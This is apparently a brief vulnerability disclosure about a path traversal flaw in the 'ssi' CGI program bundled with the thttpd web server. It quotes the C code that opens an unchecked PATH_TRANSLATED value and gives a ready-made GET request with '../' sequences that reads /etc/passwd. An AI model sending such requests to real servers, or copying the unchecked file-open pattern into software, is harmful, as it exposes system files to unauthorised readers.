ssi ( server sides include ) is a cgi proggie that comes by default
with thttpd web server, I am not sure about others. 

ssi has a nasty bug with regards to the PATH_TRANSLATED env var. 
As you can see the contents of PATH_TRANSLATED get copied into path_translated
which get's fopen()'ed later.

It does no checking on the path_translated string. After it opens the file
it runs the read_file() function which returns the contents of fp.

So as you can plainly see we can view any file on the system.

try

GET /cgi-bin/ssi//../../../../../../../../../etc/passwd
this would yield the passwd file.


    path_translated = getenv( "PATH_TRANSLATED" );
    if ( path_translated == (char*) 0 )
        {
        internal_error( "Couldn't get PATH_TRANSLATED environment variable." );
        exit( 1 );
        }

    /* Open it. */
    fp = fopen( path_translated, "r" );

    read_file( path_info, path_translated, fp );